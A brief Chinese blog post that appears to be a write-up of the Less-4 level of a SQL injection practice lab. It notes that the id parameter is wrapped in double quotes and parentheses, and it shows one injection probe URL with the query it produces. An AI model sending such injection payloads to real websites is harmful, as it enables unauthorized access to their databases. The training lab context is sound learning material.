Ricky Hao

Less-4

《Less-4》

对变量id做了处理。该处理在id前后添加双引号。

?id=1%22%29+and+1=2%23            无显示,可注入
SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据